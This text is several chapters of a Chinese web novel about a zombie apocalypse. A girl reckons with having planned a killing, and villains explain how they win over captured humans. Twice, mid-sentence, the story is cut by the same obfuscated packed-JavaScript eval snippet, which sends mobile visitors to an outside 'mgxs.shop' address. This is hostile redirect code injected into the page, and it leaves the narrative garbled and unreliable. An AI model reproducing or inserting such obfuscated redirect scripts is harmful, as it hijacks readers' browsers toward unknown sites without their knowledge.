会问出这句话,是因为冬珍珍无法再欺骗自己,她已经不是曾经的她了。 她已经打开了那扇不能开的门,走了那条不该走的路,再也无法回头了。 齐真和周永逸是凶手,而冬珍珍同样是凶手。 他们杀死了一个惹人讨厌、一无是处,或许未来会犯下更多罪孽,现在死掉反而比较好的人。 但遗憾的是,罪孽是不能相互抵消的,就像一池污血洗不干净沾血的手。 天知道钱雨青是从哪里掏出来一个野餐篮的。 今天阳光明媚,她们远离空气浑浊的温室,坐在室外柔软的草地上,屁股底下垫着红格子布,开始吃午餐肉三明治。 不管人生发生了怎样的剧变,哪怕地球停止转动,肚子该饿的时候还是会饿。 “现在和以前不一样,到处都是随便杀人的人。就连嘉嘉姐,涵姐和青青姐你,也都杀过很多人。所以,我觉得这样做也没什么大不了的。结果自己做过才感觉,好像完全不是这样。” 钱雨青忙着往三明治上挤炼乳:“杀人在任何时候都不是没什么大不了的事哦。” “那为什么,大家都在杀人呢?”冬珍珍执着地问。 “居然问这么复杂的问题……嗯唔唔,我也不是什么人性讲师嘛……”钱雨青嚼着三明治,五官动来动去,做出绞尽脑汁后不得不放弃的表情,一人就演了一小部舞台剧,“因为他们把它当成代价支付出去了。” “它?它是什么?” “不曾杀人的自己。” “那,你们得到了什么?” 风吹着树叶花草扑簌簌响,钱雨青说:“没有啊,什么都没有。” 23. 分道扬镳 坏东西在劝人学好的时候总是很容易词穷。 在长久地沉默后,词穷的钱雨青起身:“我送你回去吧。” 脚下的红格子野餐布不知何时变为纯黑的颜色。似丝绸又似泥浆的质地,反向的漩涡般向上翻涌,如同隐在水面之下的巨兽张开大口,将正牵着手的两人吞入腹中。 仅仅不到两天时间,钱雨青已经把基地的结构排布摸了个透,专业程度足够画出一张三维地图。 迅速掌控一片陌生领地的布局、随时保持警惕是每个BOSS以及资深玩家的基本功。 众所周知,能引起无限流世界居民的恐慌的,排行第一的原因是火力不足,而第二,就是在陌生的环境中迷路。 陌生的环境意味着未知的危机,而迷路会将危机的杀伤力放到最大。 我的朋友,你也不想在和某个怪物你是风儿我是沙,生死时速、天涯缠绵的时候,一个拐弯,就被另一只更恐怖更难缠的怪物跳脸吧? 许怀嘉的办公室在顶层,沿途要经过不少办公室,但想要混进去并不困难。 怀中满抱着文件或药箱的员工步履匆匆,来来去去,谁也想不到突然抬头观察一下天花板,分辨是否有一片颜色不够自然的阴影闪了过去。 首领的房间内,静谧的阴影在某个瞬间拉长、暴沸。 冬珍珍东歪西倒,一脸晕得稀里糊涂地说:“异能、异能还是太超模了……” 钱雨青伸了个懒腰:“我也是第一次带人上路。” 乌鸦不算,它属于钱雨青不能被剥夺之道具。 被裹挟在影子里移动仿佛像被深海的洋流捕获,冬珍珍感觉自己只能随着全然无法违抗的力道随波逐流。 寂静无声的黑暗本应令人惶恐,但不知为何,温柔拥抱着她的钱雨青让她的心停止了痛苦。 如同坠于梦中,如同归于混沌。冬珍珍着魔一般蹲下身,轻轻抚摸着身下浓黑的影子,面对那张没有五官的漆黑的脸,心中的信赖和爱却油然而生。 她转头用下巴点了点天花板上的监控摄像头:“那个,没关系么?” 钱雨青一打响指:“有人会帮忙替换,他的水准可是专业的。” “他?” “有机会给你介绍。” 将书桌上铺满的各类文件清理到两边,冬珍珍抱着叼来死老鼠放人类门口的猫的心情,将神秘的黑色惊喜小包裹端端正正地放在许怀嘉的桌子上。 “要留话吗?”钱雨青指着一旁的便签问。 这约等于问她要不要自首了。 闻言,冬珍珍抿紧嘴唇,看一看钱雨青,又看一看办公桌,脸上浮现挣扎的神色:“我……我再想想……” 她神色复杂地盯着黑色包裹,钱雨青在后面悄悄拿出手机,和沈修明联系:【我好像做了一件很混蛋的事。】 另一头的沈修明秒回:【你什么时候不是混蛋了?】 【是吗?那我就不客气了哦宝宝:)】 看起来他快被工作逼疯了。 无视突然井喷式弹出的消息提示,钱雨青心安理得地关闭手机屏幕,歪头作侧耳倾听状:“陈露来了,就在楼下。” 驳杂不堪的心绪一股脑儿散尽,冬珍珍努力不让自己的脸上露出急切:“她怎么样了?” “别问我,自己亲眼去看看怎么样?”钱雨青指指脚下的影子,“不会被发现的。” 基地二楼的小会议室被临时改成了医疗间。 陈露和其他几个受伤的孩子被安置在这里,林涵和另一个医生正在给他们上药,阳景站在一旁,板板正正地绷着脸,给两个成年人递工具。 “别害怕,首领很快就回来了,”她难得轻声细语说话,哄着哭得最厉害的那个孩子,“都过去了。” 那孩子委屈地抽泣着说:“我明明没有出卖他们……” 林涵一时哑然,只能无奈地说:“这不是重点。” 将冬珍珍留在影子里,钱雨青在会议室里悄然现身。 拨开林涵瞬间拔出来对准她的枪口,她问陈露:“发生了什么,你还好吗?” 她的右手上了夹板,吊在胸前,包裹得严严实实。从绷带上溢出的鲜红色来看,伤害恐怕只大不小。 林涵收枪,凑过来低声解释:“我到得晚了点。好在没到治不了的程度,等首领回来就好了。” 治疗系异能者是最稀缺的资源,第十三避难所只有一个。他通常和其他没有异能的医生一样,待在基地里有着最高保护等级的医疗室里,但有时也会跟首领许怀嘉一同出门。 今天的情况显然属于后者。 “……”陈露脸色苍白,“我还好,珍珍在哪?” 林涵扭头看钱雨青:“你之前和冬珍珍在一起?” 钱雨青说:“嗯,之前她和我在孤儿院外谈话。她反复劝我别再管这件事,最后我同意了。当我知道孤儿院发生了袭击,便决定回来。现在我们已经分开了。” 林涵点头:“多谢你用乌鸦给我报信。我真不敢相信居然发生了这种事……” 她显得很震惊也很沮丧。 可以理解,毕竟昨天她们去孤儿院视察的时候还一派幸福祥和的景象。 在避难所内发生这样的惨剧,是所有人的失职。 正说着,许怀嘉推门而入。 几个月前,在T市外,她脸上曾有过的颓然和疲惫回到了脸上。 她朝陈露伸出手:“露露,还能走吗?” 陈露点头,在林涵的搀扶下慢慢起身,上前牵住许怀嘉的手。加上跟在后面的林涵和钱雨青,四人离开会议室,转入楼下的正规医疗室。 或许还要算上一个藏在钱雨青影子里的冬珍珍。 来到医疗室,走在最后的林涵熟练地反锁门。早就等在这里的男人立刻拉过桌上的托盘,给陈露拆绷带,只在一开始向钱雨青点了点头,自我介绍道:“严一帆。” 许怀嘉直白道:“除了刘春凡,我也去紧闭室分别问过齐真和周永逸。事情我大概已经搞明白了,但还有一个人。” 林涵了然接口道:“冬珍珍。” 许怀嘉点头:“刘春凡觉得她是无辜的,但那两个男孩的说法正相反。他们说罪魁祸首是冬珍珍。据他们说,她一直躲在他们后面出谋划策,拉不知情的其他孩子和保育员下水,还画了避难所的地图,教他们洗白的方法,想要嫁祸给王乐乐。还说自己杀人也是她指使的,和王乐乐矛盾最严重的人一直是她,任何一个孩子都知道。” 钱雨青眨眨眼:“他们是这样说的?” 真是塑料的情谊。一看事情闹大,栽赃王乐乐没有用,他们就瞬间转舵,把冬珍珍推了出来。 虽然一定程度上歪打正着,但这一定不是他们用逻辑推理出的结论。 许怀嘉看她:“你的看法?” 钱雨青答:“我可不信冬珍珍会怂恿谁去伤害陈露。” 至少在这一点上,百分百是这两人自己狗急跳墙。 这时,在一旁沉默许久的陈露突然说:“不是珍珍。” 三个站成一圈的成年人全部扭过头来看她。 “他们想杀我,是因为我是异能者。” 陈露开始冷静地叙述孤儿院内王乐乐和其他孩子的矛盾逐渐发展到过激的始末。从使用的谨慎措辞来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470859|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,这个问题她已经思考了许久,并且知道的信息明显比冬珍珍以为的要多得多。 钱雨青注意到,陈露在其中隐去了冬珍珍的作用,就好像这一切都是自然而然发展到这一步的。 “王乐乐死的那天,我其实也在场,”陈露面无表情地爆了个大雷,“那天我刚巧去找珍珍玩,就看见齐真和周永逸把珍珍拉进了房间。她可能确实给那两个人出了一点主意,但她是被逼的。她不可能指使他们杀人。” 钱雨青静静看着陈露。 她的脸上混杂着决绝和悲伤。 “当时他们叫了很多孩子进房间,我不小心被其中一个发现了。那天晚上睡觉前,他们两个单独找到我,说这件事和我无关,希望我不要说出去。我答应了,也要求他们保密我知道这件事……” 林涵忍不住打断道:“为什么你不告诉我们?” 知道这件事的人那么多,居然没有一个说出口。如果不是钱雨青执意要查这件事,她们恐怕永远不会知道真相。 每每想到这件事,就让她的心中五味杂陈。 陈露低下头,低声道:“因为我讨厌他。” 林涵说:“这不算理由。” 陈露没有回答,转而继续先前的叙述:“本来他们只讨厌王乐乐,但不巧王乐乐是个异能至上主义者。他死后,其他人就开始排斥我和阳景。不是找我们麻烦的那种,甚至表面很礼貌,但私下不和我们说话也不交流。” 集体因共同的仇恨而团结,也因此而极端。当所有人都开始坚信同一件事,就连最初提出它的冬珍珍,或是大力宣传过的齐真和周永逸,也不敢反过来违逆它了。 钱雨青动了动,走到沙发旁,坐在扶手上说:“我补充一点。你们之前不理解为什么我想调查这件事,其实是因为我发现有孩子对陈露表露出了压抑不住的仇恨。你还记得吗?” 她看向林涵。 林涵恍然大悟:“所以你当时问我那些……” 钱雨青点头:“所以我想,就算这件事没有被我挖出来,他们也迟早会对陈露下手。就是不知道,下一次的凶手有几个人了。” 这件事她先见从未说过,现在突然提出来,所有人脸上都现出后怕的表情来。 但她并不满足于此,追加攻击道:“另外,他们现在只是恨有异能的同龄人。如果不能扭转他们的观念,等再长大一些,会讨厌谁可就说不准了。” 许怀嘉闭上双眼,长长叹出一口气:“……我会注意的。” “那我先走了,”钱雨青起身道别,“接下来你们估计忙得要死,就不用送了。” 许怀嘉没有挽留,有气无力道:“抱歉。” 钱雨青一笑:“没关系,反正我们还会再见的。” 离开基地,钱雨青拐入最初的那条小巷,将冬珍珍放出来。 “该说再见了?”钱雨青挑眉。 冬珍珍却猛地扯住她,眼泪含在大眼睛里,说出的话宛如悲鸣:“她知道了……露露知道了……” 陈露知道策划了王乐乐的死的人是冬珍珍,所以,她才会撒谎包庇她。 钱雨青垂眸看她,等着她的下一句话。 但冬珍珍被自己的绝望所淹没,哆哆嗦嗦的,一个字也说不出来。 这样的表情钱雨青见过很多。冬珍珍的精神已经处在崩溃的边缘,一只脚摇摇晃晃踏出了悬崖。 她蹲下身,直直看向冬珍珍的眼睛:“不想面对也没有关系的,想要逃走也是被允许的。” 颤抖的嘴唇一张一合,眼泪终于顺着脸颊滑下,冬珍珍在恍惚中最终还是说出了那句话:“带我走吧,妈妈……” 24. 另一条路 冬珍珍在绝望之中喊出妈妈,完全是作为孩子的下意识行为。 但钱雨青的脸皮厚如城墙,伸手随意揉了揉冬珍珍的头,说:“想我做你妈妈?也不是不可以。” 夺新鲜呐,有还活着的,没变成鬼的小朋友要叫她妈妈诶! 宠!用全力宠! 冬珍珍莫名打了个冷颤,醒过神来:“不、不是,我是说,姐姐。” “噢……”钱雨青失望地收回刚张开的手臂。 一股无语从心中涌出,搞得伤心都淡了。冬珍珍走上前拥抱钱雨青,认真道:“但我是真的想和你走。” 她已经没有办法再面对陈露了。 逃避可耻但有用。有些阴暗的念头即使只埋藏在心底,也让冬珍珍的灵魂感到刺痛。 在被钱雨青黑沉的双眼紧盯、揭穿真相的那一刻,她再度回忆起王乐乐那张混杂着惊愕与恐惧的脸,以及自己在引导他人完成计划时心中狰狞的快意。 如同闪电照亮乌云,她突然地直视了自己因嫉妒而扭曲的真心,并由衷地对失控的自己感到恐惧。 这是永远不会向世上任何一个人吐露的,必定要跟随她的□□与灵魂一同湮灭的真心。 当冬珍珍明了自己将永久独自保守这样卑劣的秘密,便懂得自己已经犯下了不可饶恕的滔天大罪。 钱雨青皱眉看着她,思考了一会儿,低头把手机摸出来:“稍等,我问问老板的意见。” 消息刚发出去,几乎是下一秒,就发出“叮咚”一声响。钱雨青定睛一看,脸上露出诡异的笑容。 要冬珍珍来形容,大概就是她以前家里养的大肥猫面包,一爪子把水杯扇到地下的前一秒会露出的表情。就为这个,她家里的所有杯子都被迫换成了塑料的。 ……别再想下去了,别再想念它了。 她两只手揪在一起,有些忐忑地问:“怎么样?” “他让我去死,哼哼,又在说反话,”钱雨青笑容灿烂,“珍珍,你真的要和我走吗?话说在前面,我们是坏人哦。” 她说这句话时的表情就像在说她工作是做棉花糖一样无害,冬珍珍一时拿不准她是不是在开玩笑:“坏人?你指什么?” 钱雨青竟也认认真真地和她解释:“我们是想要在暗中掌控世界的邪恶大反派,利用丧尸扩张自己的势力。但又不能让局面彻底没救,而是和人类维持僵持不下的状态。” 冬珍珍下意识思考道:“因为丧尸无法自然繁殖,只能依靠人类进行转化?” “虽然之前感叹过了,但我还是忍不住想再说一次。你真聪明啊,珍珍,”钱雨青羡慕地看着冬珍珍的天灵盖,直到她捂住头顶,“不过,我们这样做,是因为这个世界本可以没有丧尸这种东西。” 如果抛开极度高深的复杂原理,对于看过幻想小说的孩子而言,主神和多维空间小世界的概念本身并不是什么新东西。 冬珍珍试图理解这一切:“所以,为了最终的胜利,你们支付了一整个世界的幸福作代价?” “当然不是,”钱雨青按住冬珍珍的肩膀,“珍珍,妈咪教你的第一件事,就是不要去问任何反派的动机,而是要牢记反派的结局——反派一定会被主角打败,然后,世界必将迎来黎明。” 冬珍珍的大脑宕机了。 她不是没见过迎着注定的失败坚持去做好事的人,人们将其称之为悲壮。但迎着注定的失败坚持去做坏事?听起来纯是脑子不好使。 说实话,前一秒她还以为自己至少搞懂了一点,但现在,她不得不承认自己只搞懂了钱雨青百分之零的脑回路。 “但,你们是为了反抗……”她继续试图解释。 “永远不要用目的的崇高来粉饰行为的疯狂,”说出这句话的钱雨青脸上仿佛覆盖着一层冷酷而阴郁的面具,而在这之下的其他东西,她无法看清,“不用强迫自己去理解,不要这么迫不及待地走进黑夜。如果你的愿望只是离开,我可以带你走,珍珍,直到你真正有资格去选择自己的路。” 钱雨青伸出手,见她没有抗拒,便把她抱起,轻轻拍了两下后背,转眼沉入影中。 …… 人类的生存空间被挤占,意味着丧尸的活动空间大幅增加。短短几个月,以R市为圆心,沈修明直接控制的地盘不断扩张,到现在已经几乎和仅有一江之隔的T市连为一体了。 如果换算到人类的地图上,就会看到附近已然圈起了一大片所有人都无法忽视的“死区”。 因为不能直接把还是局外人的冬珍珍带进老巢,钱雨青干脆选了R市郊区的一处前人类据点。 刚从影子里钻出,冬珍珍的身体便紧绷起来,双手拼命抓住钱雨青的手臂不放。闻到两个人类的新鲜血肉气味,附近成堆游荡的丧尸像触发了警报的摄像头那样齐刷刷转头看来,逐渐聚集。 第一次陷在丧尸包围圈的正中央,冬珍珍恐惧得声音都尖利起来:“它们来了,我们得快跑,快跑啊!” “没关系的。顺便一提,你以后和丧尸交流最好保持冷静。尖锐的高音和紧张的态度都会刺激它们捕食的本能,”钱雨青解释完,立刻自己违反了规则,高声道:“娜斯佳!” 有着血红色眼瞳的丧尸女孩应声跑过来,后面跟着另一个低着头的高瘦身影。 丧尸群“哗”地散开了。 为了保护脆弱的眼睛,阿纳斯塔西娅和卡尼利恩都带着墨镜和鸭舌帽,配着一身牛仔面料的宽松休闲装,看起来像两个只是出门踏青的游客。 冬珍珍眼尖地看见两人脖颈处皮下蛛网般攀绕的青黑色血管,继续用米〇鼠似的走样声音说:“高阶丧尸!” 钱雨青幽幽道:“我说过的,珍珍。我们是超级大反派哦。” “敬爱的钱小姐,原来你还知道回来啊?”沈修明敢怒也敢言。 可惜,任何道德谴责对钱雨青都没什么用:“这话怎么听着味这么怪呢,我不是已经告诉你我要回来了嘛。” “嗯,对。如果我没记错的话,我回了两个字,‘去、死’!连娜斯佳都知道有空的时候给我帮把手!” “也就是说,你还在因为我翘班半个月狂怒,”钱雨青答,“怎么,还没有原谅我?好小气!” 沈修明怒极反笑,闭上眼睛,一时不肯言语。 而在她的脚边,冬珍珍已经快用钱雨青的风衣下摆,把自己卷成一坨牛肉金针菇了。因为,那只名叫娜斯佳的小丧尸正站在离她极近的地方,几乎脸贴着脸,眼也不眨地看着她。 “你叫什么名字?”娜斯佳问,“我是阿纳斯塔西娅。这是个 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临时通行证是一张纯白色长方形卡片,只在左侧有一竖鲜红的密封凹槽。冬珍珍接过来看了看正反面,发现凹槽内的鲜红色是某种液体,而在卡片的右下角暗刻着一道编码。 “谢谢你,先生。”冬珍珍努力让自己的表情不害怕。 虽然两人实际上曾相处过一段时间,但沈修明,或者说卡尼利恩·莱茵已经改变了自己的相貌、声音和身高,对于冬珍珍而言,面前的男人无疑是个陌生人。 沈修明也没有与她相认的意思,只是淡淡点了点头。 丧尸圈定的人类安置地区在R市中部,离城市边缘的据点和市中心都有些远,只能开车回去。冬珍珍一直很沉默,她和娜斯佳一起坐在后排,老老实实系着安全带,听前座的两个不靠谱成年人时不时拌两句嘴,从钱雨青总故意挑事多的时候翘班互骂到沈修明拉她熬大夜做实验,再到你不就是上夜班的吗装什么作息健康。 她本以为,丧尸对人类的态度大概和圈养家畜差不多,只要不死就行。但没想到呈现在她面前,竟然是一座几乎和末日前一样繁华的科技城市。 手中提着小吃逛街的人类,坐在树荫下低头刷着手机的人类,甚至在中心广场唱歌跳舞的人类……一切好像都没什么改变,但从人们带着沉沦和恍惚的神情来看,又好像一切都已经改变了。 小吃街飘来油与糖与各种调味料混合的复杂香味,冬珍珍深深地陶醉吸气,觉得自己上次闻到这样的香味已经是上辈子的事了,肚子咕噜噜直叫。身体内沉寂已久的食欲一朝苏醒,就开始疯狂啃噬她可怜的胃。 在人类进食的本能面前,所有高深的思考都不堪一击。等她和钱雨青终于买够大包小包的食物归来,两只丧尸也帮她买好了最新款的手机:“现在我们这里已经恢复用电用网了,正常用就行。” 冬珍珍一看,发现这竟然是末日前根本没有的型号。但她暂时没力气去思考,只是不断地往嘴里塞薯条炸鸡和炸串奶茶。她知道自己饥饿许久的肠胃已经变得脆弱,于是干脆拐进药店提前买好了止泻的药。 反正想让她不吃是绝对不可能的。 钱雨青和乌鸦在一旁美美分吃酥脆多汁的牛肉馅饼,一边在百忙之中说:“欢迎来到真正的地狱。” 25. 刺出的獠牙 吃完饭后,娜斯佳兴奋地牵走新朋友,带她去看附近的学校以及分配的单人宿舍。 沈修明目送两人的背影,对钱雨青说:“你不该和她说太多。” “她迟早会懂,”钱雨青不欲在这个话题上多谈,“计划如何?” 沈修明:“很顺利。加入我们的地区越来越多,高阶丧尸都快不够用了。” 在沈修明决心实践他的梦想之前,世界各地的高级丧尸基本是一盘散沙。 低等丧尸没有理智无法交流,而人类是天然的仇敌。他们千方百计想抓住高阶丧尸研究,把它们当成可以随意摆弄,无需尊重的腐尸。 更糟的是,人类异能者尚能成群结队,高阶丧尸被迫孤身一人。觉醒者没有抱团一说,最多只能凭运气遇到相同境遇的零星同类,结伴而行,就这还没算本身性格不合,导致发生矛盾的那部分。 在这样的前提下,觉醒者高调占领一片地盘成了性价比最低的选择——这意味着源源不断的骚扰。多数人要么四处辗转,浑浑噩噩,要么藏身在某个偏僻小城,自娱自乐。 但是沈修明把普通丧尸唤醒了。 异能者可以凭借艺高人胆大在失智丧尸遍布的城市里任意来去,搜寻物资,却绝不敢贸然踏入有着几百万乃至上千万尸口的大城市。 况且和惯会明哲保身的人类相比,丧尸本能中悍不畏死的兽性分外明显,具体体现在有新鲜血肉出现在面前的时候,很多尸是真的会无视双方力量差距往上冲的。 于是,形式发生了转变。人类惊讶地发现,以前比泥鳅还滑溜,掘地三尺都挖不出来的高阶丧尸纷纷出现,占据了世界各地曾经重要的大城市。 沈修明说:“高阶丧尸不够用,也有一部分原因是有觉醒者非要和我作对,被我处理掉了。” 有权力就有野心,人人都是觉醒者,凭什么丧尸皇帝非要是你沈修明! 心比天高的大梦想家们喊着羁绊啊热血啊之类的东西冲过来,然后有一个算一个全被沈修明打飞了脑袋。沈修明虽然机制很拉垮,一着急起来甚至还会左脚绊右脚,但数值太作弊,任你花里胡哨他自巍然不动,属于最让人感到挫败的敌人类型。 “我是科技型反派好不好,科技水平怎么不算机制呢。而且我才是你的盟友,你到底在心疼谁?” 钱雨青忧郁地负手而立:“唉,你这样的科技小宅男不懂。苦练冷兵器二十年,一朝出山想要称霸武林,却发现时代变了。大家都在biubiu,那你也必须biubiu,如果你不愿意一起biubiu,那就只有被别人biubiu……” 沈修明原地投降:“我不说了不说了,你别biu了,我要被洗脑了。” 送走两个小孩,两个成年人重新回到郊外的据点。 曾经是人类据点的建筑物内垂满了遮光帘,整日整夜开着冷光灯,以减轻对丧尸身体的负担。沉寂已久的巨大仪器再度开始运转,钱雨青往室内探头看了两眼,惊讶道:“还有普通人愿意和丧尸一起工作?” “几个农学家,在某个小避难所里做苦工,我们用一批物资换来的。”沈修明认出那些人的身份,笑了。 钱雨青听出他的言下之意,皱眉:“你们公开了自己的身份?” 沈修明耸肩:“只有高层。” 它们当然还没嚣张到直接以丧尸的身份大摇大摆要人,但和那所避难所的高层谈判时,沈修明也不介意在耳机中命令代行者在会议现场露出自己血红的瞳孔。 但即便如此,面对丰盛的新鲜物资,那群人类还是同意了交易。 “你还是和以前一样谨慎,”钱雨青习惯性嘲了沈修明一句,“所以,那几个学者是在完全不知情的情况下被卖过来的?” 沈修明点头:“一开始是很闹腾,还有人偷偷上吊。不过等我告诉他们,我们想要研究生产适应目前环境,可以供给人类的新型粮食,他们就同意了。” 没有大型组织的支持,很难在末日里找到一片允许粮食顺利开花结穗的未受过污染的土地。毕竟,这场末日浩劫的最初形态,就是丧尸病毒随水源泄漏污染了R市。 育种、化肥、杀虫、人工授粉,干净的水源,充足的日照,机械化耕种。在世界环境发生剧变的现在,耕种中曾经寻常的每一个环节尽数断裂,随之产生的问题堆得像山一样高。 另一方面,就算是规模最大的避难所,也只能圈出一小片试验田。 末日带来不止是天灾,更是人祸。别说丧尸不会按规律游荡,就连路过的人类也可以是最贪婪的强盗。像许怀嘉的避难所里的平民那样,种点蔬菜水果还好,几个小花盆放阳台上就解决了。但种植粮食需要的,是成千上万亩耕地,难度完全无法同日而语。 除非有异能者长期驻守,否则安全和秩序只是天方夜谭。 “现在吃白米饭白面包已经是高层特权,”钱雨青嚼着章鱼小丸子,“历史真是一个轮回,人类又开始打猎、捕鱼、挖野菜了。” 而丧尸虽然自己不吃,但能给人类供应炸鸡蛋糕螺狮粉,真是倒反天罡。 钱雨青怀疑,等人类的物资更匮乏的时候,沈修明只需要带手下去人类避难所门口炒一碗蛋炒饭,烤一桌烧烤,就会有人立马倒戈了。 “要学者算是一个尝试。在这之前,我们要的通常是做蛋糕的甜点师、养花的花农或者退休老教师之类的,”沈修明甚至为这事专门拉过清单,“都是对现在的人类社会而言毫无价值的‘累赘’。从他们放人的爽快程度来看,恐怕他们自己也这样觉得。” 如果沈修明开口要一个异能者,高层是绝对不会答应的,因为有战斗力的青壮年真的是首领们的命根子。 “你们没自己去抢吧?”钱雨青问。 “没有,你不是强调过了吗?”沈修明说,“要经过他们同意,自己把人抓过来送给我们。” 钱雨青教的小连招在劝降的时候实在是好用的不得了。 很多人在刚被丧尸运进来的时候状态都很应激,说不了两句话就大吼大叫要自我了断。但是只要做一锅香喷喷的饭菜端过来,糖油管饱,他们的声音就会马上变小。在有水有电的干净房间里养几天,尖锐的声音就会逐渐消失。到了这一步,可以告诉这些人,他们是被避难所主动放弃的,抵抗的动作就会基本停止。 这时候,就可以发放新身份证,带回有其他人类居住的市区内,分工作的分工作,送房子的送房子,所有人都会老实下来的。 当然,沈修明和钱雨青是不会和普通人说“丧尸和人类是不同的物种”这种扫兴话的,他们只会说“真是对不起,我们也不想的,只是有时候丧尸没办法控制自己,它们其实也很难过”,力求露出自己最纯洁无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470861|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害的小白花嘴脸来。 拜这份拼命卖萌的努力所赐,现在高阶丧尸们都可以直接暴露身份,在人类街区里随便逛了。虽然还是没人敢靠近,但也没人会大叫一声逃跑。 “前两天还有人和部门申请,想去其他非人类聚居区上班。还有那个甜点师,主动想要协助开发蛋糕口味的丧尸营养剂,”沈修明感慨,“人类的适应性实在是太无敌了。” 已经有不少人攒够了钱坐飞机去国外旅游度假,尤其盛夏海滨人气最高。正巧丧尸在白天行动相对迟缓,人类游客却更喜欢在白天出行,也算是错峰经济吧。 大概,离有人愿意主动变成丧尸的那一天也不远了。 钱雨青说:“还有孩子。” 说到孩子,沈修明冷笑一声:“他们把孤儿像野狗一样赶来赶去,不屑一顾。但我们提出要带走孩子的时候,他们就突然想起孩子是人类未来的希望了。” “意料之中。” “所以我暂时资助了他们一台异能检测机,可以精准测算出有异能天赋的孩子,”沈修明身为科技型分派,最后还是选择用科技解决问题,“然后他们就同意我们带走无异能的孤儿了,虽然对外说是建了新孤儿院让他们去享福。” 这些被抛弃的孩子对人类的憎恨甚至要远远超过对丧尸的憎恨,为了进一步笼络人心,钱雨青建议沈修明派出阿纳斯塔西娅去做学校的名誉校长,声称不会干扰正常的教学秩序,偶尔还会和他们一起上学。 现在娜斯佳的风评已经和巨星级吉祥物没两样了。 钱雨青摇摇头:“啊,对了,你说的这些事,许怀嘉那里一点都没得到消息。” “她和她的派系被排挤得很厉害,我在没有暴露身份的情况下简单试探过,他们基本都拒绝了交易。” “基本?” “有一个松口了,”沈修明翻出一份档案递给钱雨青,“但他要的不是普通物资,而是药品。我们拿到两个脱口秀演员。现在他们在社交平台上很火,看来连丧尸也爱听地狱笑话。” 丧尸文员的档案归纳做得很好,从避难所概况到高层们的信息一应俱全。钱雨青翻开下一页,突然一愣,笑了出来:“舒泽。” 许怀嘉曾经亲密又分道扬镳的队友。 “去看看吗,反正你又想翘班了对吧?”沈修明显然知道这份档案里有什么。 他们向来是这样分工的,沈修明盘踞在计划的核心R市,而钱雨青游离在外,是他的盟友,他的救星,也是他最信任的眼睛。 但钱雨青说:“不,让其他人去。” 沈修明一愣:“你要找个班上了?” 钱雨青说:“不是不翘班,而是我要离开了。” 现在的沈修明已经不需要她保护,蚕食世界的计划也已经迈上正轨,她没有留在这里的必要了。 沈修明不说话了。 “别撒娇,我还得去拿你上辈子的实验记录,”钱雨青懒得站着,干脆一屁股坐到办公桌边,“又不是不能联系,还是说你也要管我叫妈咪?” 沈修明突然恨不得现在就一脚踢走她:“我一个字都没说,撒了什么娇?” “我还不知道你么,”钱雨青“邦邦”拍了两下他的肩膀,“走了。” “现在?!”太突然了吧? “当然,”钱雨青坏笑,“就现在。” 26. 无助的系统 乌鸦,暴富系统,aka谢守光,正对他的宿主抱持着深切的怀疑。 虽然没有和任何人说起,但他正在躲避某个仇家的追杀。 作为一个从无限流世界的毕业玩家,有几个是人类或者不是人类的仇敌简直再正常不过,但这不代表谢守光愿意自己平静的现实生活被打扰。 尤其是,追杀他的那个怪物,是无限流世界最臭名昭著的副本BOSS之一,骑士。 即使玩家习惯称呼它为“骑士”,但BOSS骑士是个毫无骑士精神的怪物。 无论是残杀自己的怪物同伴,还是混在玩家中搞背刺,它都得心应手,乐此不疲。 制造内鬼本是副本BOSS的惯用伎俩之一,但只要玩家的经验足够丰富就能判别。 怪物之所以是怪物,正因为它们和人类的本质截然不同。 就算披着一层完美的人皮,嘴角的僵硬弧度、非人的冰冷视线仍然会出卖它们,莫名其妙的异样感会刺激得玩家脑内的警铃大作。 骑士不一样,它太正常了。 这个不满足于只待在自己的地盘里,还要随机跑到别的副本中作威作福的游走球,正常到和它打过交道的幸存者都认为它的举止与真正的人类无异。 对谢守光而言,一个怪物最令人毛骨悚然的瞬间,并非它撕下人类皮囊露出丑陋本相的瞬间,而是他意识到它会笑,会哭,会像一个真正的人类那样生动地活着的瞬间。 他已经许久没有被敌人激发出真实的杀意,但骑士做到了。 在骑士开始在各个副本四处游荡之后,玩家中孤狼和独行者的数量锐减,大家习惯组队进副本以自证身份。 这凑效了一段时间。或者说得直白点,骑士允许它凑效了一段时间。 而就在玩家们逐渐放松警惕的当口,骑士开始转换方法,顶替并扮演固定队伍中的其中一人,最终造成了多起团灭事件。 如果不是被它抢走了身份的几个倒霉蛋传出消息,甚至没有人会知道这些事曾发生过。 拜它所赐,玩家之间的信任再度跌到谷底,激起了更深的恐慌。过度的猜疑造成了许多不必要的伤亡。 直到半年后,一直在追查它的下落的谢守光——是的,先当跟踪狂的人是他——才在一个怪谈副本中借规则之手差点要了它的命。 可惜,只是差点。 好在受到重创的骑士还是销声匿迹了很长一段时间。 那是他们第一次生死相搏,但不是最后一次。打到最后,几乎所有玩家和BOSS都对他们之间你死我活的关系有所耳闻。 然而直到谢守光达成愿望,离开无限世界,这场争斗也没有用其中一人的性命决出真正的胜负。 但不管怎么说,为了决一死战,追到他家门口这种事还是太过分了。 他愿意和骑士继续打,但不能在这里。他周围的朋友邻居可都是普通人,一想到骑士就在周围藏匿,他连睡觉都闭不上眼睛。 于是他干脆返聘成为暴富系统,刷新自己的坐标,干扰骑士的追踪,还能顺便赚点小钱钱。 